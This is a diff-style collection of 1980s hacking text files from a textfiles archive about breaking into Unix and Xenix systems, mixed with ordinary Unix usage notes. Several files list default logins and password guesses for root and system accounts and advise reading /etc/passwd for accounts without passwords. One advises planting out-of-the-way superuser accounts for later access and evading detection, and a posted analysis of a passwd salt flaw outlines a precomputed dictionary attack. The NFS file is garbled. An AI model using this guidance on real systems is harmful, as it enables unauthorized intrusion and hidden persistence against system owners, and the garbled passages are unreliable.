* H A C K I N G *
* *
* U N I X *
* *
* By Jester Sluggo *
* Written 10/08/85 *
**************************************
In the following file, all references made to the name Unix, may also be
substituted to the Xenix operating system.
Brief history: Back in the early sixties, during the development of third
generation computers at MIT, a group of programmers studying the potential of
computers, discovered their ability of performing two or more tasks
simultaneously. Bell Labs, taking notice of this discovery, provided funds for
their developmental scientists to investigate into this new frontier. After
about 2 years of developmental research, they produced an operating system they
called "Unix".
Sixties to Current: During this time Bell Systems installed the Unix system
to provide their computer operators with the ability to multitask so that they
could become more productive, and efficient. One of the systems they put on theUnix system was called "Elmos". Through Elmos many tasks (i.e. billing,and
installation records) could be done by many people using the same mainframe.
Note: Cosmos is accessed through the Elmos system.
Current: Today, with the development of micro computers, such multitasking
can be achieved by a scaled down version of Unix (but just as powerful).
Microsoft,seeing this development, opted to develop their own Unix like system
for the IBM line of PC/XT's. Their result they called Xenix (pronounced
zee-nicks). Both Unix and Xenix can be easily installed on IBM PC's and offer
the same functions (just 2 different vendors).
Note: Due to the many different versions of Unix (Berkley Unix, Bell System
III, and System V the most popular) many commands following may/may not work. Ihave written them in System V routines. Unix/Xenix operating systems will be
considered identical systems below.
How to tell if/if not you are on a Unix system: Unix systems are quite commonsystems across the country. Their security appears as such:
Login; (or login;)
password:
When hacking on a Unix system it is best to use lowercase because the Unix
system commands are all done in lower- case.
Login; is a 1-8 character field. It is usually the name (i.e. joe or fred)
of the user, or initials (i.e. j.jones or f.wilson). Hints for login names canbe found trashing the location of the dial-up (use your CN/A to find where the
computer is).
Password: is a 1-8 character password assigned by the sysop or chosen by the
user.
Common default logins
--------------------------
login; Password:
root root,system,etc..
sys sys,system
daemon daemon
uucp uucp
tty tty
test test
unix unix
bin bin
adm adm
who who
learn learn
uuhost uuhost
nuucp nuucp
If you guess a login name and you are not asked for a password, and have
accessed to the system, then you have what is known as a non-gifted account. Ifyou guess a correct login and pass- word, then you have a user account. And,
if you guess the root password, then you have a "super-user" account. All Unix
systems have the following installed to their system: root, sys, bin, daemon,
uucp, adm
Once you are in the system, you will get a prompt. Common prompts are:
$
%
#
But can be just about anything the sysop or user wants it to be.
Things to do when you are in: Some of the commands that you may want to try
follow below:
who is on (shows who is currently logged on the system.)
write name (name is the person you wish to chat with)
To exit chat mode try ctrl-D.
EOT=End of Transfer.
ls -a (list all files in current directory.)
du -a (checks amount of memory your files use;disk usage)
cd\name (name is the name of the sub-directory you choose)
cd\ (brings your home directory to current use)
cat name (name is a filename either a program or documentation your username
has written)
Most Unix programs are written in the C language or Pascal since Unix is a
programmers' environment.
One of the first things done on the system is print up or capture (in a
buffer) the file containing all user names and accounts. This can be done by
doing the following command:
cat /etc/passwd
If you are successful you will a list of all accounts on the system. It
should look like this:
root:hvnsdcf:0:0:root dir:/:
joe:majdnfd:1:1:Joe Cool:/bin:/bin/joe
hal::1:2:Hal Smith:/bin:/bin/hal
The "root" line tells the following info :
login name=root
hvnsdcf = encrypted password
0 = user group number
0 = user number
root dir = name of user
/ = root directory
In the Joe login, the last part "/bin/joe " tells us which directory is his
home directory (joe) is.
In the "hal" example the login name is followed by 2 colons, that means that
there is no password needed to get in using his name.
Conclusion: I hope that this file will help other novice Unix hackers obtain
access to the Unix/Xenix systems that they may find. There is still wide growthin the future of Unix, so I hope users will not abuse any systems (Unix or any
others) that they may happen across on their journey across the electronic
highways of America. There is much more to be learned about the Unix system
that I have not covered. They may be found by buying a book on the Unix System
(how I learned) or in the future I may write a part II to this........
/
\
/ luggo !!
"Only the Fool fears none."
Hack Philez]

BIN
textfiles.com/hacking/UNIX/muh.hac Normal file
View File

Binary file not shown.

21
textfiles.com/hacking/UNIX/nfstricks.txt Normal file
View File

@@ -0,0 +1,21 @@
NFS TRICKS
Although NFS was originally was wretten for UNIX systems, rating from Macs, PC's, and IBM main frames. These versions allow for flexible file-sharing. It's when the files with the text and graphicseside on a UNIX system. Then the screen shots are saved by way of NFS, in files back on the UNIX host.
If you use a bunch of different computers, NFS is often used to hook them all up together becaues it runs a much wider viriety of computers then does any other file-sharing system.
NFS is based on a pair of standard inernet communication protocols called UDP/IP. If your machine uses NFS, therefore, you can use NFS files that are easily found on the inernet.
If your computer and the one that the files live are connected by fast enough network, you can use files many miles away just as if they were local. Remote network links are considerably slower than local networks are, (most of the time 100 times slower) which means that you can get the impresion of a very slow disk.
For use as a regular file storage, slow remote NFS is worthless to browse and retrieve files from an archive, however NFS can be okay. Systems which have large file archives allow anyone to access their disks by way of NFS. Because public archive systems can have hundreds of directories and thousands of files, mounting a remote systems disk by way of NFS lets you use familiar directory and file commands to look at them.
It will take a while to list directories, read files and so on, but it would take a lot less time then if you used FTP (the standard remote-file program) if you find a file or group of files copy them to a disk if you plan on using them much.
Some UNIX systems, if it's configured correctly, mount remote NFS systems automatically, however, many do not.
Created by a member of Twisted Altar Lord Pyro

8
textfiles.com/hacking/UNIX/nis.txt Normal file
View File

@@ -0,0 +1,8 @@
NIS Explained
by Virtual Circuit and Psychotic
NIS or Network Information Systems is a concept of unix that users need to learn. NIS used to be called the "Yellow Pages" until somebody pointed out that it was the trademark of the phone company.
When a company has to many workstations the best way to set them up is to have them connect and share files by means of NFS. Then you should give access to the machines to your users so that they will have one large system. Keeping all the workstations' administrative information organized is a small problem. A password file was given to each individual system in order to list the users and a set of mount points or directories. In 50 workstations, when the system added a new users those user had to be added to 50 seperate password files, etc. The only way to ease this problem was to use NIS. It puts nearly all of the administrative information in one place that is roganized by NIS. It makes all the availlable workstation accessable by each of the new users. This works out very well. After the administrator updates the master files the database can get clumsy and out of sync. This is usually caused by the admin regenerating the NIS database and accidently making a mistake.The design of NIS makes it possible to create security holes. The computers are accesible to only a small group of users but it makes it easy for one of the million internet hackers to break in.
You work from here. I'll update this text later with more info on this system setup.

817
textfiles.com/hacking/UNIX/p500unix.txt Normal file
View File

@@ -0,0 +1,817 @@
Parent-Message-Id: <12229084762.30.AWALKER@RED.RUTGERS.EDU>
There is a flaw in the Berkeley 4.3 Unix passwd program that makes a
tape attack on a password feasible. (We haven't looked at any other
versions of Unix.) From passwd.c:
time(&salt);
salt = 9 * getpid();
saltc[0] = salt & 077;
saltc[1] = (salt>>6) & 077;
for (i = 0; i < 2; i++) {
c = saltc[i] + '.';
if (c > '9')
c += 7;
if (c > 'Z')
c += 6;
saltc[i] = c;
}
pw = crypt(pwbuf, saltc);
What does the salt depend on? Well, the paper on unix password
security by Morris and Thompson states that the choice of seed is based
upon the time of day clock and that there are 4096 different possible
seeds. (See "Password Security: A Case History" CACM, v 22, n 11,
November 1979, p. 594. That paper is often distributed with Unix
manuals.) On first glance at the above code, we were surprised to
find a call to getpid() in addition to the expected call to time(). A
close inspection of the first two lines of the above code reveals that
result of the call to time() is completely thrown out in the next line
of code. The salt depends only on the process ID number of the passwd
program!
But, lets go ahead and assume that a call to getpid() produces a
sufficiently random 16 bit number. What's the effect of multiplying
by 9? Well, since on the next two lines, only the low 12 bits of the
variable "seed" are used, the multiplying by 9 reduces the number of
possible seeds by a factor of nine. For example, after the second
line of code above, the variable "seed" could be 0, 9, 18, 27, etc,
but it could never be any value that is not a multiple of 9. Thus the
passwd program can only produce 4096/9 (= 456) of the 4096 possible
salt values. (It's amusing to note that without the second line, or
if the operator was "+=" instead of just "=" in the second line, the
code would generate all 4096 different seeds with about evenly
distributed probabilities.)
So what? Well, imagine taking a dictionary of 30,000 likely passwords
and producing 456 different files, one for each different salt, and
each containing 30,000 hashed passwords, each on a separate line, and
in the same order as the words in your dictionary. Each file would be
about 270 thousand bytes long (including line-feeds) and all the files
together could be kept on two 6250bpi tapes (which hold about 100
megabytes each). Now, to determine somebody's password from their
entry in the password file (assuming that their password is in your
original dictionary), position the appropriate tape at the start of
the file corresponding to the that user's salt and grep -n the tape
for the hashed password. (This will be vastly faster than 30,000
calls to crypt(), even the faster versions described in an earlier
message.)
If the salt could take on all 4096 possible values, you would need
instead need around 15 tapes to hold all the files.
All this underlies the importance of choosing a password which is not
in any dictionary and which is long enough.
Bob Baldwin
BALDWIN@XX.LCS.MIT.EDU
...!ihnp4!mit-eddie!baldwin
and
Tim Shepard
SHEP@XX.LCS.MIT.EDU
...!ihnp4!mit-eddie!shep
-------
provided for your consideration by:
| Striker |
Phortune500/BOD
-=>The DEC Hunters<=-
==============================================================================
UNIX* Usage Notes
The following is a collection of information on various UNIX topics:
Logging On
----------
You need a username and a password, supplied by the system administrator.
Some systems have guest accounts ("guest", "netguest", and other names).
To find out who's on the system without logging in, "who", "finger", or
"w" may work on your system.
(WARNING-- When you get a username or password wrong, a message gets printed
out on the system console. Trying to brute-force your way into someone else's
system is stupid, and you can get caught easily.)
There is a new Federal law that prohibits fucking around with computers across
state lines; many states also have tough computer-crime laws. You're best off
(believe me, I KNOW) using a UNIX system you have legitimate access to, such
as a school's system or a public access UNIX/Xenix (there are a few in New
York and other places; where you pay a certain amount per month).
Special Characters
------------------
ctrl-C (DEL (Ascii 127 on some systems) Interrupt. Stops the current
program. (intr) [<-- name for changing it with the "stty" command]
ctrl-B (or ctrl-\ (28)) Quit. Like control-C but stronger. Often works
when ctrl-C doesn't. Try ctrl-C first; some programs catch it so
they can clean up and exit gracefully. (quit)
ctrl-D End-of-file. Used to end input when the terminal is being read as a
file (mail senders and many other programs do this). If you type
control-D to the shell (command interpreter), it will usually log
you out. (If not, use "exit" or "logout".) (eof)
DEL (or ctrl-H) Erase the last character typed. (erase)
ctrl-U (rarely @) Erase the line typed so far. (kill)
ctrl-S Pause during output. (stop)
ctrl-Q Resume during output. (start)
ctrl-M Will usually work just like RETURN.
ctrl-J Will usually work just like RETURN.
As you can see, special characters are hardly standardized. (Old UNIX's used
to use # for character erase!) Give the "stty" command to see the settings on
your system, or to change them for your terminal session. To change the erase
to backspace (ctrl-H), give the command "stty erase '^H'".
Getting Information on Commands
-------------------------------
"man" is the standard command for getting information. "man mail" tells you
all about the 'mail' command. "man -k delete" gives you a list of everything
matching the keyword 'delete'.
Sending and Receiving Mail
--------------------------
"mail joe" sends a letter to the username 'joe'. Type your letter on the
next lines, ending with control-D on a line by itself.
"mail" lets you read your mail. When it asks whether to "save?", 'y' saves
the letter in your file 'mbox' (for old mail); 'n' gets rid of it.
Many systems also have more sophisticated programs for sending and receiving
mail (for those, type a "?" at the mail prompt "_" or maybe "-").
Directories ala UNIX
--------------------
UNIX files are arranged in a tree structure. (If you're used to MS-DOS or
PC-DOS, just use forward slashes / instead of backslashes \, and forget about
drive letters, and you'll be fine.)
There is a root directory, the "top" of the file system. At any point, there
can be subdirectories, which are just named areas to put files in so they
won't clutter up the root directory. These subdirectories can contain sub-
directories, which can contain other subdirectories, and so forth until the
disk can't hold any more files.
Here's an example of what *part* of a UNIX filesystem might look like:
(root)
/
++++++++++++++++++++++++++++++++++++
+ + + + + +
+ + + + + +
unix/ bin/ etc/ lib/ tmp usr/
+ + + + ++
++ lib dev src + + +
+ + + + +
+ + + + +
adm bin george bill mikey
A name like /foo/bar means start at the root, go to subdirectory foo, then
to the file bar (which can be either a subdirectory or a plain file).
"foo/bar" (no slash at the beginning) means start at the CURRENT DIRECTORY
(the 'pwd' command tells you where you are), and go through subdirectory
foo to bar.
foo means foo in the current directory. . (a dot) means the current direc-
tory itself; .. (two dots) means the parent directory, one level above the
current one. So ./xyzzy is the same file as xyzzy.
/unix is the UNIX kernel, the system routines that get read in when the system
is booted up.
/bin and /usr/bin (and other places like /usr/local on most systems) hold
command programs; when you type 'pwd' or 'ls' (list files) or most other UNIX
commands, these directories are checked for the 'pwd' or 'ls' program or what-
ever. Almost all UNIX commands are ordinary programs; nothing magical.
/etc, /lib, /usr/lib, /usr/adm, etc. hold "miscellaneous" system files. A few
of these are quite critical; I'll discuss them later.
/tmp and /usr/tmp are work areas for temporary files. They get cleared
regularly, at least whenever the system is re-"booted".
In this example, /usr/george, /usr/bill, and /usr/mikey are three users' file
areas or "home directories". Naming of home directories varies wildly between
UNIX systems; they might look like /usr/george or /usr/users/smith or
/home/andrews or /i/ins/.heyho. When you log in, your current directory is
set to your home directory.
Commands for Managing Directories
---------------------------------
cd Change Directory - move to another current directory (e.g.
"cd /usr/george" or "cd .."). Plain "cd" takes you to your
own home directory (unlike MS/PC-DOS!).
pwd Print Working Directory - prints your current (default)
directory. Lets you see where you are.
mkdir MaKe DIRectory, e.g. "mkdir hacks" to create a subdirectory
named "hacks" under your current directory.
rmdir ReMove DIRectory. The directory must be empty.
Other File Commands
-------------------
ls LiSt files. You may give directories or filenames after "ls", or "ls"
by itself will list the current directory.
ls -l List in Long format (with protection, owner, size (in characters) and
date before the filenames.
ls -a List All files; ordinarily files starting with a dot are not listed.
Many "setup" files have names like .profile, .login, .cshrc, .sendrc,
and so forth. Ordinarily "ls" doesn't bother you with them.
ls -d foo
Lists "foo" as a file; doesn't list what's inside if foo is a
directory. Useful in combinations like "ls -ld foo".
Other options can be combined this way, like "ls -al".
cat chow
Prints the contents of the file "chow" on your terminal.
rm trash
ReMoves (deletes) the file "trash". Once it's gone, you can't get it
back again.
chmod
Changes file protections. More about that later.
ed, vi, ex, emacs, ...
Text editors. Consult any good introductory UNIX book.
Input/Output Redirection
------------------------
Using "<file" on the command line (after the command!) lets input come from
"file" instead of "standard input" (the terminal). Similarly, ">file" redi-
rects output to "file", clobbering whatever was in it before. ">>file" means
append to the end of "file".
"foo a b c | bar x y z" means to run the command "foo a b c", and give its
output as the input of the command "bar x y z". This is called a 'pipe'
between the commands; UNIX hackers call '|' a "pipe sign".
For example, "cat" (like many commands) uses standard input if you don't give
a filename. If you say "cat >piss", it'll read from your terminal until you
hit control-D, and put that text into the file "piss".
Special Filename Characters (Wildcards)
---------------------------------------
'*' in the command line matches any string of characters within a filename.
'?' matches any ONE character. '[abc]' matches 'a', 'b', or 'c'. For
example, "*.c" will match "foo.c", "prog2b.c", and ".c", but not "mailbox"
or ".c.d.e".
A dot at the beginning of a filename (as in ".profile") and directory slashes
will not be matched -- you have to type them explicitly.
These wildcards are expanded on the command line. So if you type "echo a*b",
"echo" might be run with arguments "abb" "alba1.b" etc., or whatever. (echo
just echoes back its arguments to you; "echo *" works a lot like plain "ls".)
UID's, GID's, and File Protection
---------------------------------
Your account has a User ID (uid) number, which identifies which files you own,
and a Group ID (gid), which determines which files you can access as a member
of "the group".
A uid of 0 is special. It signifies the superuser, who can read any file and
write any non-directory. Superusers can use "chown" and "chgrp" to change
the ownership of files, and in general do anything we damn well please.
There is usually an account "root" whose uid is 0. If you're running a UNIX
system, NEVER give the superuser password to anyone who doesn't have a DAMNED
EXCELLENT reason to know. (change the password frequently--maybe every week
or two; ALWAYS whenever an "employee" leaves).
There are three ways to access a file -- owner, if your uid matches that of
the file; group member, if your gid matches the file's; and other.
Whenever you create a file, it is given your uid and gid.
The "ls -l" display shows the protection code for a file (which the owner may
change). A typical "ls -l" line might look like this:
-rw-r--r-- george users 6125 May 20 15:42 stuffy-funk
prot.code owner group size mod.date name
(these correspond
to uid & gid #'s)
The protection code can be broken down into several sections:
- rw- r-- r--
1 2 3 4
1: 'd' for a directory, 'b' or 'c' for "special files" which are really
devices, and '-' for ordinary files.
2: permissions for the owner. 'r'=read, 'w'=write, 'x'=execute.
3: permissions for the group.
4: permissions for others.
Protection on Directories
-------------------------
Since it makes no sense to 'execute' a directory, the protection bits have
a slightly different meaning on a directory.
Execute means you can access files and subdirectories if you know their
names. (If a directory has execute but no read permission, you can't "ls"
it to see what's there, but you can use files you know are there.)
Read means you can look to see what's there with "ls" or with special
filename characters.
Write means you can create and delete files in the directory. THIS IS THE
ONLY PROTECTION DEALING WITH DELETING FILES - it doesn't matter whose file it
is, as long as you have write permission in its parent directory.
SetUID and SetGID programs
--------------------------
If the setuid bit of an executable file is set, then whenever you run that
file, your "effective uid" temporarily becomes that of the file. This is
commonly used for games which write to a high score file that people should
not be able to mess with otherwise. The "set group id" bit works similarly.
These bits show up as an 's' instead of an 'x' in the owner and group sections
of the protection code.
The "Sticky" Bit ('t' bit)
----------------
Only the superuser can set the sticky bit, which shows up as a 't' in the
"others" section of the protection code. This bit means the program can't
be swapped out of memory, speeding up access time for small systems programs
that are used often. This bit can also be set as a part of your trusty hack
program (to be presented in a later installment).
Changing File Protection with "chmod"
-------------------------------------
The chmod command has the form "chmod CODE FILE(S)". CODE is an octal code
made by or-ing together the following:
04000 set user id on execution
02000 set group id on execution
01000 sticky bit [program is loaded into buffer]
0400 read permission for owner
0200 write permission for owner
0100 execute permission for owner
040, 020, 010 read, write, execute for group
04, 02, 01 read, write, execute for others
For example, "chmod 644 trash" would set the file "trash" to be readable and
writable by the owner, and only readable by others (or world).
Of course, only the owner or the superuser can use chmod on a file.
The Password File -- /etc/passwd
-----------------
The file /etc/passwd lists all the accounts on the system. It is stored in a
printable form, and everyone can read it. Each account is represented by a
line like
george:D/d7C.Xyu3pPr:205:40:George Porgie:/usr/george:/bin/sh
1----- 2------------ 3-- 4- 5------------ 6---------- 7------
There are seven parts, separated by colons.
1: the username
2: the encrypted password. The encryption algorithm is supposed to not be
reversible; to check the password you type while logging in, UNIX encrypts
your guess and sees if the encrypted version matches.
If no value is given (like in "guest::99:99: ...etc..."), no password is
necessary. If you see an "X" or "*" or "NOLOGIN" or something here, then
nobody can log into the account, since the "X" will never match an encrypt-
ed password.
3: the user id
4: the group id. (The file /etc/group lists group ids and group names.)
5: usually the person's real name
6: the home directory
7: the command interpreter to use. The default is "/bin/sh". Special
accounts like "who" work by putting the program name (like /bin/who)
here; as soon as this "command interpreter" finishes, the account is
logged off.
The SU Command -- Temporarily Switching to Another Account
--------------
If you give the command "su bill", it will ask for a password. If you give
bill's correct password, you temporarily switch into bill's account. Type
a control-D to get back to your own account.
"su" by itself means the same as "su root". *WARNING*!! Every time you use
su to try to get into a superuser account, it prints a message on the system
console (something like "SU george 20 May 1986 15:42" if you get in; "BADSU"
etc. if you don't). Don't try to force your way in with "su" -- they'll
notice and possibly trace your phone line.
=============================================================================
This is the end of my introduction to UNIX* systems.
Look for further installments on the UNIX series of operating systems.
(Including "Hacking" philes :-)
---Striker---> 1/12/86
---=======--> uVaxSquad!
* UNIX is a trademark of AT&T Bell Laboratories
-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-|-
note: I wrote this particular doc phile last year and I haven't included
changes from the new System V and System 7 releases. In the future
there will be appended versions with Xenix and BSD specifics...
| Striker |
Phortune500/BOD
-=>The DEC Hunters<=-
uucp ...!ihnp4!mb2c!fmsrl7!cideq3!striker
{ihnp4,seismo,philabs,ucbvax}!decvax!cwruecmp!ncoast!bizarre
...!ucbvax!ucivax!amovax!conexch!striker
Inter striker@cideq3.cidnet.com
ncoast!bizarre%Case.CSNET@CSnet-Relay.ARPA
********************
Basic Unix Use
By Lord Lawless
Phortune 500
Board of Directors
********************
March 8, 1987
-------------
This file is basically a brief introduction and overview for the beginning
hacker to the Unix operating system. All information contained herein is
accurate to the extent of my knowledge. This file is intended for inform-
ational purposes only and the author (Lord Lawless) is in NO way responsible
for the use of this file for purposes other than the aforementioned.
Part I: What is Unix?
----------------------
Unix is an operating system, so designated because it allows a user to
interface with a computer in a way that is (hopefully) easy for the user to
learn and use. Unix can be known by other forms, PC-Unix, Xenix, etc., but
they all basically are the same (with slight differences this file won't go
into) and use the same commands. Unix is a wonderfully simple to use OS once
you begin, and while this file will help you I recommend that you find a Unix
system somewhere and wander around on it to help yourself to learn. To put
this more formally:
The UNIX system is a set of programs that include a time-sharing
operating system and a set of utility programs. The operating
system has two basic parts:
1) The kernel is the program in the UNIX operating system
that is responsible for most operating system functions. It
schedules and manages all the work done by the computer and
maintains the file system. It is always running, and is
invisible to users.
2) The shell is the UNIX operating system program responsible
for handling all interaction between users and the computer.
It includes a powerful command language called "shell language"*.
The utility programs (usually called UNIX commands) are executed
through the shell, and allow users to communicate with each other,
to edit and manipulate files, to write and execute programs in
several programming languages, and many other things.
Part II: Recognizing a Unix system
-------------------------------------
When you connect to a Unix system you will see a message usually like
"AT&T Unix: Unauthorized use will be Prosecuted!" or just "Unix System V" or
the like. At the least you will see a prompt saying "login:". At this point,
if possible, make sure that you are in lowercase, because if the computer det-
ects that you are typing in uppercase everything you read after will be in
uppercase with lowercase denoted by a \ in front of the word. This is because
Unix is case sensitive, so be careful, reading lowercase is much easier than
reading all uppercase and slashes. Ok, so here you are at the Unix "login:"
prompt.
Part III: Logging on
---------------------
At this point you must enter your login, and then, if the account (
never more than 14 characters) has one, the password. Now, all Unix systems
have default accounts, and unless set by the Root System Operator no passwords.
This has been the means of infiltration by many the Unix hacker. There are two
types of accounts in a Unix, the "super user" and the "user". The super user
has access to almost everything (or everything depending on the system) and the
user basically has access to the files he owns and what he can sometimes read.
The default super user accounts on a unix are:
ROOT
MAKEFSYS
MOUNTFSYS
UMOUNTFSYS
CHECKFSYS
and sometimes
ADMIN
SYSADMIN.
For passwords to these try things like SYSTEM, SYSMAN, SYSADMIN, ADMINISTRATOR,
OPERATOR, SYSOP, etc.
The default user-level accounts are:
LP
DAEMON
TROUBLE
NUUCP
UUCP
RJE
ADM
SYSADM
SYNC
BIN
(Note: These accounts should be entered in lower case , I merely wrote them
in upper case for easier reference.)
After being on Unix's, I have also seen the following common accounts:
USER
UNIX
GAMES
GUEST
STUDENT -on school run Unix's.
The maximum length of a password is 11 characters.
After doing all this you should, with luck, be in!
If you couldn't hack anything out, try typing "WHO" at the login: prompt, it
may list all the user accounts and you can try them until you find one without
a password.
Part IV: You're in!!!
----------------------
Congratulate yourself, the hardest part of Unix "hacking" is over. Ok,
now that you're in you'll see a prompt which will probably look like "$" for a
user account or "#" if you got lucky and got a super user account.
(Quick note, to stop a unix process in action try typing ctrl-d or control
backspace, these are the end of file/Stop process keys.)
Ok, so you are now in. Let me give a quick lesson on Unix directories. In
Unix, the root is the main directory, and it contains subdirectories which may
contain subdirectories etc. In order to change to the root directory, one
would type "cd /". This is because "cd" is the command "change directory" and
"/" is the root directory. To change to subdirectory "Bill" contained in the
root directory, you would type "cd /Bill" or, if you were in the root dir, just
"cd Bill". If you wanted to access Bill's files, you'd enter "cd /Bill/files"
assuming Bill had a subdir called files where he kept his files. This is how
a person would move around in a Unix sys. Graphically, it looks like this:
Root
__________!!_________
!!
__Bill__
!!
__Files__
Part V: Basic Commands
-----------------------
Ok, these commands are the most useful ones that I've found and can are
entered from the prompt.
Command:What it does
--------------------
ls gives a listing of all files in a directory
cat gives a dump to screen of what is contained in a file. For instance
"cat phones" would show me what is in file "phones".
cd change directory
pwd shows what directory path you are in now
ps shows system processes
rm remove a file, for instance "rm phones".
rmdir removes a directory, for instance "rm Bill".
grep print ascii strings in a file, ie "grep phones"
who shows who's on the system
mail sends mail to a user, syntax mail <username>
su change from 1 account to another. For instance, if you are account
Bill and wish to change to account Jake (which is unpassworded) just
type "su Jake" and you will change to him. If Jake has a password you
will be prompted to enter it. This is useful for login in under a
user account and switching later to a super user account.
passwd allows a user to change his password. If you are a superuser you can
change someone elses password by typing "passwd <account>".
mkuser make a user (providing you are a super user)
mkdir create a directory
More Information about Commands
-------------------------------
The following are more of the most basic Unix commands.
cat cd chmod cp cut date
echo egrep fgrep file find glossary
grep help ln locate ls mail
mesg mkdir mv news pr ps
pwd rm sleep sort starter stty
tabs tail tee time touch tty
uname usage wall wc who write
Using the Command: mkdir
Syntax Summary: mkdir dir_name1 [ dir_name2 ...]
where:
dir_names are simple subdirectory names,
relative pathnames, or full pathnames
Description:
mkdir creates one or more new directories.
If mkdir is given a simple name as an argument, the new
directory will be a subdirectory of the current directory.
You can make new directories anywhere in the file system
by giving mkdir a complete or relative pathname for the new
directories, if you have permission to write in the directory
where the new directory is to be created.
Ok, those are the basic commands you will need to go around in the system.
Part VI: Useful Information
----------------------------
A great place to go to get information on who is on the system and
what accounts you can use to get on again is contained in the file "passwd"
in the "etc" directory. To look at it, cd etc, and then cat passwd. The
first entry should say something like this:
root:adfaBADca:0:1:Operator:/:/bin/sh
what this means is that the root account has an encrypted password, has super-
user capabilities (any user with a 0 in that slot is a super user) is in group
1 (relatively unimportant for this file), has a comment of Operator (this may
be blank), has a home directory of / (the root) and uses the Bourne Shell, kept
in the /bin directory.
You will then see all the other users listed out in the same format. If you
see an account followed by two colons, that means that it has no password. You
want these accounts so that you can log in under them another time. If you get
real lucky you may see something like this:
makefsys::0:1:/bin:/bin/sh
meaning that you have found a super user account with no password, a very
useful item indeed.
Another good place to look is the /usr/spool dir and the
/usr/spool/cron/crontabs dir because if you are a super user that dir contains
much that will be useful to you.
In order to move up to a directory one level higher than you are presently in,
type "cd ..". So to move from /Bill/files to /Bill I would just type cd ..
and, assuming I started in /Bill/files I would now be in /Bill.
Ok, now you can wander the system "cat"'ing around and whatnot. If a file
doesn't "cat", try just typing it's name, that will execute it if you have the
privileges. Try typing "admin" or "ua" if you are a superuser nad maybe you'll
be able to create users or other interesting things. You may not be able to
cat a file or run it because you lack access permissions. What are they? Read
on!
Access Permissions
------------------
access permissions: permissions: mode: owner:
owner/group/others: read/write/execute
As the user of a UNIX system, you can decide who can read, write,
and execute the files and directories that you own. You are
usually the owner of files and directories that you have created in
your login directory and in the "subdirectories"* in your login
directory. You may also own files in other peoples' directories.
You control the use of your files and directories by specifying the
access permissions, also called the mode, for each. You can specify
different access permissions for yourself, your "group"*, and the
other users of the system. Permission to read allows the user to
read the contents of the file. Write permission allows the user to
change the file and execute permission enables the user to execute
the program within the file.
ls -l
prints the access permissions for each file and directory in the
current directory. The sample listing below shows the mode of the
file (preceded by a -), the number of "links"*, the owner, the
"group ID"*, the size in characters, the date and time the file
was last modified, and the "filename"*.
-rwxr-x--x 1 sandy 12345 128 Oct 9 9:32 lock
If this were a listing for a directory, the hyphen (-) would be
replaced by the letter d. The owner of the file "lock" can read,
write and execute the file, the group can read and execute it, and
the others can only execute it. You can change the mode of your
files and directories by using the change mode command, chmod.
Other interesting places to look are in the directories assigned to the users
on the Unix system, often their files will contain some useful information.
Also try going into the /uucp directory or looking for any uucp dir anywhere as
it may contain phone numbers to other Unix systems or other "goodies".
The *: asterisk
---------------
In the shell, an asterisk matches any "string"* of characters in
a "filename"* on a command line. The command
rm temp*
removes all files from the current working directory that begin with
the string "temp". Files like "temp", "temp1", "temp.1", and
"temp.save" would all be deleted. An asterisk alone matches any
filename in the current working directory except those beginning
with "dot (.)"*. For example,
rm *
removes all the files in your directory except for the dot (.)files.
Finally, typing help at the unix prompt may bring up a help manual that is
usually quite well done and will help you if you are stuck or wish to explore
in more depth the commands I didn't go into.
Hmm, what else? I can't think of much more right now that would help you much
more, in this file I think I've covered everything that should get you well on
your way towards becoming a unix hacker. Once you've got this, start reading
files on "Unix Shells", "Scripts", and ask around A LOT. Ah, I just remembered
something. To get help on a command, type "man <command>" or "whatis <command>
" and you may find out. Also, a lot of Unix's have a built in Help feature
somewhere, try to get to it.
Part VII: A Few Final Words
----------------------------
If you manage to get onto a Unix system, don't screw it up. Unix is a
great operating system, and fun to learn on and have other people learn on.
Don't become a superuser and delete everything or other things, it's just not
worth it. Also, don't make a user called "Hacker" or "Shadow 1" or something,
that's a blatant giveaway. Put an account a little out of the way directory,
and create user level accounts if you must, and perhaps just 1 super user
level. I can't think of much more to say on the basics, though I probably left
some important things out....nobody's perfect. I hope you enjoyed the file and
I can be found on the following boards:
The Private Connection
The Undergraduates Lounge
Quick Shop
Phreak Klass 2600
The Brewery
The Works
Slaughterhouse 5, Holovision Network Node 1
Spock's Brain
Special Thanks to: The Prophet, for his excellent file: Unix Use and Security
From the Ground Up.
The End, good luck, enjoy yourself, and don't get caught!
Lord Lawless
Phortune 500/BOD
--This has been a Lord Lawless Presentation, (C) 1987.--
(C) 1987 Phortune 500


224
textfiles.com/hacking/UNIX/phelon1.txt Normal file
View File

@@ -0,0 +1,224 @@
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
/
THE _ * * * /\ /
// ////////// \\\\ \\\\ | <20>_ * * / \ /
// // \\\ \\\ |- * * / \ /
// //////// \\\\ //////\\\\ |_ * * / \ /
// \\\ \\\ * * / \/
/// \\\\ \\\\ * * * /
/////
brings you another text phile and another bad ascii signature.
ok this file will be about.. hmm.. let's see. how about unix.
ok. well today we will talk about unices for the beginner, and then
just as a side topic, one of my faves of all time, the tacobell unix.
;) anyways if you are a beginner at unix then you should rtfm but i guess
since this is supposed to be the fm that you should read on.
(riiiight??) on the other hand, if you're more experienced with unix,
check out the files "PHELON2.UNX" and "PHELON3.UNX" for more advanced
unix hacking techniques.
ok .. let's start out with some defaults to help you out:
(root access - never seen any where the root pw was not changed.)
root
cron
adm
admin
sysadmin
sysadm
checkfsys
checkssys
umountfsys
makefsys
lpadmin
- those are just a few with "root" access.. here are some more logins
that may or may not have root privileges.
bin
daemon
lp
uucp
sysdiag
tech
diag
... and on and on and on... but this isn't a defaults list so we won't go
on and on and on. Find the phile "phelon.pws" written by yours truly
for the biggest default list around.
